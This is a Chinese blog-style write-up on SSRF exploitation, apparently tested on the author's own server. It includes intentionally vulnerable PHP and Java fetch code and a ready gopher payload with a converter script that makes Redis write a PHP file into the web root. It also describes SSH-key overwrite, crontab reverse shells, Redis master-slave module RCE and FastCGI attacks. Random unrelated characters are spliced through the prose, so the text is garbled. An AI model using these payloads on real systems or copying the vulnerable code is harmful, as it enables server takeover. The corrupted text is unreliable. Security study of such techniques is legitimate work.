上周挖了幾個(gè)SSRF漏洞,標(biāo)的服務(wù)器配置較為簡(jiǎn)單,利用file協(xié)議就可以做很多事情火鼻。后來(lái)順便看了一些SSRF漏洞相關(guān)的利用方法,Redis很經(jīng)典瘦陈,借此做個(gè)記錄進(jìn)而寫(xiě)了這篇關(guān)于SSRF漏洞的文章凝危。本文采用的測(cè)試環(huán)境搭建在阿里云服務(wù)器上,基于lnmp晨逝,可參照阿里云的說(shuō)明文檔進(jìn)行l(wèi)nmp的配置https://help.aliyun.com/document_detail/97251.html,此時(shí)網(wǎng)站根目錄: /usr/share/nginx/html懦铺。SSRF還有很多其他的點(diǎn)捉貌,本文側(cè)重于Redis的利用,有時(shí)間再補(bǔ)補(bǔ)其他的冬念。
1. SSRF概述
SSRF(Server-side Request Forge, 服務(wù)端請(qǐng)求偽造)趁窃,一般是由于服務(wù)端提供了從其他服務(wù)器獲取數(shù)據(jù)但沒(méi)有對(duì)地址或協(xié)議等進(jìn)行過(guò)濾或限制造成的漏洞,通常利用SSRF進(jìn)行內(nèi)網(wǎng)探測(cè)等急前。
1.1 PHP demo
以PHP為例醒陆,在服務(wù)器上創(chuàng)建一個(gè)簡(jiǎn)單的SSRF demo
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
這是由curl_exec()造成的SSRF,其他可造成SSRF漏洞的PHP函數(shù)包含
fopen()裆针、file_get_contents()刨摩、curl()寺晌、fsocksopen()等。
//file_get_contents() demo
$url = $_GET['url'];;
echo file_get_contents($url);
//fsocksopen()
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
在此demo中需要注意curl_setopt函數(shù)的一些用法澡刹,還有很多其他參數(shù)可以查詢(xún)函數(shù)說(shuō)明文檔呻征。
CURLOPT_URL 需要獲取的URL地址,也可以在curl_init()函數(shù)中設(shè)置罢浇。
CURLOPT_RETURNTRANSFER 將curl_exec()獲取的信息以文件流的形式返回陆赋,而不是直接輸出。
CURLOPT_FOLLOWLOCATION 啟用時(shí)會(huì)將服務(wù)器服務(wù)器返回的"Location: "放在header中遞歸的返回給服務(wù)器嚷闭,使用CURLOPT_MAXREDIRS可以限定遞歸返回的數(shù)量攒岛。
CURLOPT_PROTOCOLS CURLPROTO_*的位域指。
如果CURLOPT_PROTOCOLS
被啟用胞锰,位域值會(huì)限定libcurl在傳輸過(guò)程中有哪些可使用的協(xié)議灾锯。可用的協(xié)議選項(xiàng)為:(前面都有CURLPROTO_前綴)HTTP胜蛉、HTTPS挠进、FTP、FTPS誊册、SCP领突、SFTP、TELNET案怯、LDAP君旦、LDAPS、DICT嘲碱、FILE金砍、TFTP、ALL麦锯。
各個(gè)協(xié)議在SSRF中的主要應(yīng)用如下
http/https:主要用來(lái)探測(cè)內(nèi)網(wǎng)服務(wù)恕稠,根據(jù)響應(yīng)的狀態(tài)判斷內(nèi)網(wǎng)端口及服務(wù),可以結(jié)合如Struts2的RCE來(lái)實(shí)現(xiàn)攻擊扶欣;
file:讀取服務(wù)器上的任意文件鹅巍;
dict:查看安裝軟件版本信息、端口料祠,操作內(nèi)網(wǎng)Redis服務(wù)等骆捧;
gopher:能夠?qū)⑺胁僮鬓D(zhuǎn)換成數(shù)據(jù)流,并將數(shù)據(jù)流一次發(fā)送出去髓绽,可以用來(lái)探測(cè)內(nèi)網(wǎng)的所有服務(wù)的所有漏洞敛苇,可利用來(lái)攻擊Redis和PHP-FPM;
ftp/ftps:FTP匿名訪問(wèn)顺呕、爆破枫攀;
tftp:UDP協(xié)議擴(kuò)展括饶,發(fā)送UDP報(bào)文;
imap/imaps/pop3/smtp/smtps:爆破郵件用戶(hù)名密碼脓豪;
telnet:SSH/Telnet匿名訪問(wèn)及爆破巷帝;
1.2 Java demo
URL connect = new URL(url);
URLConnection connection = connect.openConnection();
connection.connect();
response.setContentType(connection.getContentType());
String ce = connection.getContentEncoding();
if (ce != null && ce.length() > 0) {
response.setHeader("Content-Encoding", ce);
}
InputStream in = connection.getInputStream();
try {
ServletOutputStream out = response.getOutputStream();
try {
StmFunc.stmTryCopyFrom(in, out);
} finally {
if (out != null) {
out.close();
}
}
} finally {
if (in != null) {
in.close();
}
}
JAVA中能發(fā)起網(wǎng)絡(luò)請(qǐng)求的類(lèi)包括:
//僅支持HTTP/HTTPS協(xié)議的類(lèi)
HttpClient
HttpURLConnection
OkHttp
Request(對(duì)HttpClient類(lèi)進(jìn)行了封裝的類(lèi))
//支持sun.net.www.protocol所有協(xié)議的類(lèi)
URLConnection
URL
ImageIO
HttpURLConnection類(lèi)
//HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //發(fā)起請(qǐng)求,觸發(fā)漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
URLConnection類(lèi)
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //發(fā)起請(qǐng)求,觸發(fā)漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
ImageIO類(lèi)
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 發(fā)起請(qǐng)求,觸發(fā)漏洞
其他類(lèi)
// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//發(fā)起請(qǐng)求
// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream(); //發(fā)起請(qǐng)求
// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute(); //發(fā)起請(qǐng)求
// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //發(fā)起請(qǐng)求
1.3 SSRF 利用demo
根據(jù)不同的協(xié)議,可以得到SSRF多種利用方式扫夜,下面以php demo為例
(1)file協(xié)議
利用file協(xié)議查看相關(guān)文件
(2)dict協(xié)議
利用dict協(xié)議探測(cè)端口楞泼,如22(SSH)、6379(Redis)
另外還可以探測(cè)其中Redis中的內(nèi)容
(3)gopher協(xié)議
gopher協(xié)議支持GET&POST請(qǐng)求笤闯,在攻擊內(nèi)網(wǎng)ftp堕阔、redis、telnet颗味、Memcache上有極大作用超陆,利用gopher協(xié)議訪問(wèn)redis反彈shell較為經(jīng)典。
http://ip/vultr.php?url=gopher://127.0.0.1:2333/_hello
2. Redis
SSRF常與Redis一起利用浦马,Redis是一個(gè)key-value存儲(chǔ)系統(tǒng)时呀,支持五種數(shù)據(jù)類(lèi)型:string(字符串)、hash(哈希)晶默、list(列表)谨娜、set(集合)、zset(sorted set有序集合)
2.1 Redis 環(huán)境搭建
下載地址:https://github.com/tporadowski/redis/releases磺陡。
(1)Windows安裝
在下載地址中找相應(yīng)版本的redis趴梢,解壓zip后,在該目錄下開(kāi)啟cmd币他,輸入如下語(yǔ)句
(2)CentOS安裝
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzvf redis-3.2.0.tar.gz
cd redis-3.2.0
make
make完后 redis-2.8.17目錄下會(huì)出現(xiàn)編譯后的redis服務(wù)程序redis-server,還有用于測(cè)試的客戶(hù)端程序redis-cli,兩個(gè)程序位于安裝目錄 src 目錄下
protected-mode改為no(保護(hù)模式默認(rèn)為yes坞靶,在此模式下會(huì)拒絕redis的遠(yuǎn)程連接,所以Redis一般配合ssrf一起使用)蝴悉,用云服務(wù)器開(kāi)啟redis彰阴,想要用本地windows訪問(wèn)云主機(jī)還需要在bind 127.0.0.1后面加入一行bind 公網(wǎng)ip
2.2 RESP協(xié)議
Redis服務(wù)器與客戶(hù)端通過(guò)RESP(REdis Serialization Protocal)協(xié)議通信。RESP協(xié)議在Redis1.2中引用拍冠,支持字符串硝枉、錯(cuò)誤、整數(shù)倦微、批量字符串、數(shù)組等數(shù)據(jù)類(lèi)型的序列化協(xié)議正压⌒栏#客戶(hù)端將命令作為Bulk Strings的RESP數(shù)組發(fā)送到Redis服務(wù)器,服務(wù)器根據(jù)命令實(shí)現(xiàn)回復(fù)一種RESP類(lèi)型焦履。
在RESP中拓劝,某些數(shù)據(jù)的類(lèi)型取決于第一個(gè)字節(jié):
對(duì)于Simple Strings雏逾,回復(fù)的第一個(gè)字節(jié)是+
對(duì)于error,回復(fù)的第一個(gè)字節(jié)是-
對(duì)于Integer郑临,回復(fù)的第一個(gè)字節(jié)是:
對(duì)于Bulk Strings栖博,回復(fù)的第一個(gè)字節(jié)是$
對(duì)于array,回復(fù)的第一個(gè)字節(jié)是*
此外厢洞,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來(lái)表示Null值仇让。
在RESP中,協(xié)議的不同部分始終以"\r\n"(CRLF)結(jié)束躺翻。
分析:首先是*3丧叽,代表數(shù)組的長(zhǎng)度為3(可以簡(jiǎn)單理解為用空格為分隔符將命令分割為["set","name","test"]);$4代表字符串的長(zhǎng)度公你,0d0a即\r\n表示結(jié)束符踊淳;+OK表示服務(wù)端執(zhí)行成功后返回的字符串
2.3 常用命令與攻擊
redis的常用命令如下
redis-cli -h ip
info 查看版本信息
get X 查看鍵為X的值
keys * 查看所有鍵
set X "test" 設(shè)置X的值為test
flushall 刪除所有鍵
config set dir /root/.ssh 設(shè)置本地存儲(chǔ)的文件目錄
config set dbfilename authorized_keys 設(shè)置本地存儲(chǔ)文件名
借助上述命令,可以進(jìn)行文件寫(xiě)入等操作陕靠,既然dir指定了redis的工作路徑迂尝,dbfilename指定了文件名,那么我們?cè)趕et這些內(nèi)容的過(guò)程中就已經(jīng)創(chuàng)建了一個(gè)存儲(chǔ)文件剪芥。如果這個(gè)文件寫(xiě)入的位置是網(wǎng)站的可訪問(wèn)目錄下垄开,并且其中內(nèi)容寫(xiě)成惡意信息,就和傳入木馬getshell的效果一致粗俱。
dir 指定的是redis的“工作路徑”说榆,之后生成的RDB和AOF文件都會(huì)存儲(chǔ)在這里。
dbfilename RDB文件名寸认,默認(rèn)為“dump.rdb”
appendonly 是否開(kāi)啟AOF
appendfilename AOF文件名签财,默認(rèn)為“appendonly.aof”
appendfsync AOF備份方式:always、everysec偏塞、no
除了上述在網(wǎng)站根目錄下寫(xiě)入shell還有兩種利用方式唱蒸,
(1)如果存在/root/.ssh目錄,直接root權(quán)限寫(xiě)/root/.ssh/authorized_keys
(2)如果不存在/root/.ssh目錄灸叼,直接root寫(xiě)crontab定時(shí)任務(wù)
利用Gopher協(xié)議攻擊
上述三種利用Redis的攻擊方式都是通過(guò)Gopher協(xié)議神汹。Gopher 協(xié)議是 HTTP 協(xié)議出現(xiàn)之前較為常用的協(xié)議,雖然現(xiàn)在用的較少古今,但是在SSRF中能起很大作用屁魏,拓寬了SSRF攻擊面。利用此協(xié)議可以攻擊內(nèi)網(wǎng)的 FTP捉腥、Telnet氓拼、Redis、Memcache母蛛,也可以進(jìn)行 GET旧巾、POST 請(qǐng)求。
下面結(jié)合Centos靶機(jī)進(jìn)行三種利用方式的測(cè)試剥扣。
(1)絕對(duì)路徑寫(xiě)webshell
開(kāi)啟redis撬统,利用socat抓包
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
開(kāi)啟redis-cli進(jìn)行相關(guān)操作
同時(shí)socat會(huì)收到如下內(nèi)容
將socat中的內(nèi)容提取出來(lái)适滓,去除時(shí)間、OK等信息行恋追,得到如下數(shù)據(jù)文本
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$21\r
/usr/share/nginx/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$10\r
shell2.php\r
*3\r
$3\r
set\r
$8\r
webshell\r
$19\r
<?php phpinfo(); ?>\r
*1\r
$4\r
save\r
然后利用腳本將上述文本轉(zhuǎn)成payload
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")
生成的exp
*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2421%0d%0a/usr/share/nginx/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%2410%0d%0ashell2.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%248%0d%0awebshell%0d%0a%2419%0d%0a<?php phpinfo(); ?>%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
然后對(duì)生成的腳本進(jìn)行測(cè)試
curl -v 'gopher://127.0.0.1:6379/_生成的exp
或者在網(wǎng)址中進(jìn)行測(cè)試
http://39.96.59.90/vultr.php?url=gopher://127.0.0.1:6379/_exp
然后打開(kāi)shell2.php凭迹,即可看到phpinfo
這個(gè)過(guò)程已經(jīng)有了集成工具Gopherus,地址見(jiàn)https://github.com/tarunkant/Gopherus
這個(gè)工具使用時(shí)需要注意一點(diǎn)几于,得到的payload要先進(jìn)行url編碼再發(fā)包蕊苗,否則解析過(guò)程無(wú)法得到預(yù)期結(jié)果。
(2)公鑰SSH登錄
如果.ssh目錄存在沿彭,則直接寫(xiě)入~/.ssh/authorized_keys
如果不存在朽砰,則可以利用crontab創(chuàng)建該目錄,創(chuàng)建目錄就和上文所用的寫(xiě)網(wǎng)站根目錄文件方法一樣喉刘,只是備份的目錄和文件名修改為/root/.ssh/目錄和authorized_keys文件名瞧柔。
ubuntu生成ssh的key,并將其寫(xiě)入到Centos的Redis中
同樣通過(guò)
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
的方式得到數(shù)據(jù)包的內(nèi)容如下睦裳,通過(guò)python腳本進(jìn)行轉(zhuǎn)換造锅,得到payload,打入redis廉邑。此處因?yàn)槭侵苯釉诎袡C(jī)redis中寫(xiě)入得所以省略了通過(guò)SSRF打redis的步驟哥蔚。靶機(jī)redis成功寫(xiě)入內(nèi)容后,ssh的認(rèn)證key就已經(jīng)成了ubuntu中生成的key蛛蒙,即ubuntu采用ssh登錄Centos靶機(jī)時(shí)用本機(jī)的id_rsa即可成功登錄糙箍。
刪除Centos中的key后,Ubuntu用同樣的方式嘗試ssh登錄Centos牵祟,失敗
(3)crontab
首先了解一下crontab是什么深夯。crontab是Linux中用來(lái)定期執(zhí)行程序的命令,操作系統(tǒng)安裝完成后就會(huì)默認(rèn)啟動(dòng)此任務(wù)調(diào)度命令诺苹,該命令每分鐘會(huì)定期檢查是否有要執(zhí)行的工作咕晋,如果有要執(zhí)行的工作便自動(dòng)執(zhí)行該工作。新創(chuàng)建的cron任務(wù)不會(huì)馬上執(zhí)行收奔,至少要過(guò)兩分鐘才可以掌呜,或者通過(guò)重啟方式來(lái)馬上執(zhí)行。
既然是Linux中自帶的坪哄,那么查找一下它的路徑
用gopherus站辉,傳入攻擊者的ip呢撞,還有上面查找到的cron路徑,生成ReverseShell(該工具默認(rèn)用的是1234端口)饰剥,進(jìn)行url編碼,傳入到含有SSRF漏洞的vultr.php中摧阅,監(jiān)聽(tīng)一下1234端口汰蓉,getshell
此方法有一定的局限性,一般用于Centos系統(tǒng)棒卷,Ubuntu上攻擊無(wú)效顾孽。首先看一下兩個(gè)系統(tǒng)中crontrab定時(shí)文件位置分別在哪兒:
Centos的定時(shí)任務(wù)文件在/var/spool/cron/<username>
Ubuntu定時(shí)任務(wù)文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的cron路徑是(需要root權(quán)限)/etc/crontab
ubuntu執(zhí)行定時(shí)任務(wù)文件/var/spool/cron/crontabs/<username>權(quán)限必須是600,即-rw-------否則會(huì)報(bào)錯(cuò)比规,而Redis寫(xiě)文件的權(quán)限都是644若厚,所以不符合條件,Centos下任務(wù)文件用644權(quán)限也能打開(kāi)蜒什。而/etc/crontab
的問(wèn)題在于該路徑需要root權(quán)限测秸,但是高版本的redis默認(rèn)啟動(dòng)是redis權(quán)限,所以無(wú)法記性操作灾常。另外redis保存RDB會(huì)存在亂碼霎冯,在Ubuntu上會(huì)報(bào)錯(cuò),而在Centos上不會(huì)報(bào)錯(cuò)
2.4 主從復(fù)制特性
Redis主從復(fù)制特性是從4.X版本開(kāi)始出現(xiàn)的钞瀑。主從模式是指使用一個(gè)Redis作為主機(jī)(master)沈撞,其他Redis則作為從機(jī)即備份機(jī)(slave)。其中主機(jī)和從機(jī)數(shù)據(jù)相同雕什,主機(jī)只負(fù)責(zé)寫(xiě)缠俺,從機(jī)只負(fù)責(zé)讀,通過(guò)讀寫(xiě)分離減少讀寫(xiě)量較大時(shí)的性能壓力贷岸,也可以理解為數(shù)據(jù)的復(fù)制是單向的壹士,只能由主節(jié)點(diǎn)到從節(jié)點(diǎn)。
建立主從復(fù)制凰盔,有3種方式:
配置文件寫(xiě)入slaveof <master_ip> <master_port>
redis-server啟動(dòng)命令后加入 --slaveof <master_ip> <master_port>
連接到客戶(hù)端之后執(zhí)行:slaveof <master_ip> <master_port>
PS:建立主從關(guān)系只需要在從節(jié)點(diǎn)操作就行了墓卦,主節(jié)點(diǎn)不用任何操作
自從Redis4.x之后redis新增了一個(gè)模塊功能,Redis模塊可以使用外部模塊擴(kuò)展Redis功能户敬,以一定的速度實(shí)現(xiàn)新的Redis命令落剪,并具有類(lèi)似于核心內(nèi)部可以完成的功能。Redis模塊是動(dòng)態(tài)庫(kù)尿庐,可以在啟動(dòng)時(shí)或使用MODULE LOAD命令加載到Redis中忠怖。這樣一來(lái),如果我們構(gòu)造惡意的.so文件抄瑟,在兩個(gè)Redis實(shí)例設(shè)置主從模式的時(shí)候凡泣,Redis的主機(jī)可以通過(guò)FULLRESYNC同步文件到從機(jī)上,然后在從機(jī)上加載惡意so文件,即可執(zhí)行命令鞋拟。
利用主從復(fù)制的攻擊步驟如下圖所示:
第一步骂维,偽裝成redis數(shù)據(jù)庫(kù),將被攻擊者的redis設(shè)為自己的從機(jī)(slave)贺纲。SLAVEOF ip port
第二步航闺,我們?cè)O(shè)置備份文件名為so文件 config set dbfilename exp.so
第三步,設(shè)置傳輸方式為全量傳輸 +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
第四步猴誊,加載so文件潦刃,實(shí)現(xiàn)任意命令執(zhí)行
主從復(fù)制的流程如下圖左邊所示,master與slave進(jìn)行握手通信懈叹,并用腳本模仿了該過(guò)程乖杠,右面比較了全面復(fù)制(全量傳輸)和部分復(fù)制(增量傳輸)兩種操作。
利用主從復(fù)制進(jìn)行Redis的攻擊腳本網(wǎng)上有很多澄成。輸入被攻擊者的ip等信息胧洒,在本機(jī)執(zhí)行腳本即可RCE。這些攻擊的前提都是能未授權(quán)或者能通過(guò)弱口令認(rèn)證訪問(wèn)到Redis服務(wù)器环揽。
3. FastCGI
CGI (Common Gateway Interface略荡,通用網(wǎng)關(guān)接口),是HTTP服務(wù)器與其他機(jī)器上的程序服務(wù)通信交流的一種工具歉胶,F(xiàn)astCGI是在其基礎(chǔ)上發(fā)展出來(lái)的在HTTP服務(wù)器和動(dòng)態(tài)服務(wù)腳本語(yǔ)言間通信的接口汛兜。在 Linux 下, FastCGI 接口即為 socket通今,這個(gè)socket 可以是文件 socket粥谬,也可以是IP socket。其主要優(yōu)點(diǎn)是把動(dòng)態(tài)語(yǔ)言和 HTTP 服務(wù)器分離開(kāi)來(lái)辫塌。多數(shù)流行的 HTTP 服務(wù)器都支持 FastCGI漏策,包括 Apache 、 Nginx 和 Lighttpd 等臼氨。
FastCGI結(jié)構(gòu)如下所示:
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的類(lèi)型(record的作用)
unsigned char requestIdB1; // 本次record對(duì)應(yīng)的請(qǐng)求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body體的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 額外塊大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
這部分離別歌有一篇文章寫(xiě)的很清楚https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
語(yǔ)言端解析了fastcgi頭以后掺喻,拿到contentLength,然后再在TCP流里讀取大小等于contentLength的數(shù)據(jù)储矩,即body體感耙。Body后面還有一段額外的數(shù)據(jù)(Padding),其長(zhǎng)度由頭中的paddingLength指定持隧,起保留作用即硼。不需要該P(yáng)adding的時(shí)候,將其長(zhǎng)度設(shè)置為0即可屡拨。
通信過(guò)程中第一個(gè)數(shù)據(jù)包就是type為1的record只酥,后續(xù)互相交流褥实,發(fā)送type為4、5裂允、6损离、7的record,結(jié)束時(shí)發(fā)送type為2叫胖、3的record草冈。當(dāng)后端語(yǔ)言接收到一個(gè)type為4的record后,就會(huì)把這個(gè)record的body按照對(duì)應(yīng)的結(jié)構(gòu)解析成key-value對(duì)瓮增,這就是環(huán)境變量。
服務(wù)器中間件將用戶(hù)請(qǐng)求按照FastCGI的規(guī)則打包好后通過(guò)TCP傳給FPM哩俭,F(xiàn)PM按照FastCGI的協(xié)議將TCP流解析成真正的數(shù)據(jù)绷跑。FPM也可以寫(xiě)為PHP-FPM,是FastCGI的進(jìn)程管理器凡资。
參考離別歌文中的例子砸捏,用戶(hù)訪問(wèn)http://127.0.0.1/index.php?a=1&b=2
,如果web目錄是/var/www/html
隙赁,那么Nginx會(huì)將這個(gè)請(qǐng)求變成如下key-value對(duì):
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
PHP-FPM拿到fastcgi的數(shù)據(jù)包后垦藏,進(jìn)行解析,得到上述這些環(huán)境變量伞访。然后執(zhí)行SCRIPT_FILENAME的值指向的PHP文件掂骏,即/var/www/html/index.php。FPM是根據(jù)這個(gè)值來(lái)執(zhí)行php文件的厚掷,如果這個(gè)文件不存在弟灼,F(xiàn)PM會(huì)直接返回404。在FPM某個(gè)版本之前冒黑,我們可以將SCRIPT_FILENAME的值指定為任意后綴文件田绑,比如/etc/passwd;但后來(lái)抡爹,fpm的默認(rèn)配置中增加了一個(gè)選項(xiàng)security.limit_extensions掩驱,可解析的選項(xiàng)中只包含.php .php3 .php4 .php5 .php7,這樣一來(lái)再訪問(wèn)/etc/passwd就會(huì)返回Access denied冬竟。
PHP-FPM默認(rèn)監(jiān)聽(tīng)9000端口欧穴,如果這個(gè)端口暴露在公網(wǎng),則我們可以自己構(gòu)造FastCGI協(xié)議诱咏,和FPM進(jìn)行通信苔可。
附上離別歌的攻擊腳本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
另外,上文介紹的Gopherus中也有攻擊腳本
4. CRLF
CRLF是“回車(chē)(CR袋狞,Carriage Return)+ 換行(LF焚辅,Line Feed)
”(\r\n)的簡(jiǎn)稱(chēng)映屋。CR 用符號(hào)'\r'表示, 十進(jìn)制ASCII代碼是 13, 十六進(jìn)制代碼為 0x0D;LF 使用'\n'符號(hào)表示同蜻,ASCII代碼是 10, 十六制為 0x0A棚点。
Dos 和 windows 采用“回車(chē)+換行,CR/LF”表示下一行湾蔓;
UNIX/Linux 采用“換行符瘫析,LF”表示下一行;
蘋(píng)果機(jī)(MAC OS 系統(tǒng))則采用“回車(chē)符默责,CR”表示下一行贬循。
在HTTP協(xié)議中,HTTP Header與HTTP Body是用兩個(gè)CRLF分隔的桃序,瀏覽器就是根據(jù)這兩個(gè)CRLF來(lái)取出HTTP 內(nèi)容并顯示出來(lái)杖虾。一旦我們能夠控制HTTP 消息頭中的字符,注入一些惡意的換行媒熊,這樣我們就能注入一些會(huì)話(huà)Cookie或者HTML代碼奇适,所以CRLF Injection又叫HTTP Response Splitting,簡(jiǎn)稱(chēng)HRS芦鳍。一般常見(jiàn)于(1)URL跳轉(zhuǎn)(2)Cookie的設(shè)置中
這部分烏云中有篇文章寫(xiě)得很簡(jiǎn)單也很清楚
https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
CRLF用于SSRF相結(jié)合的方式嚷往,參考如上的Redis攻擊。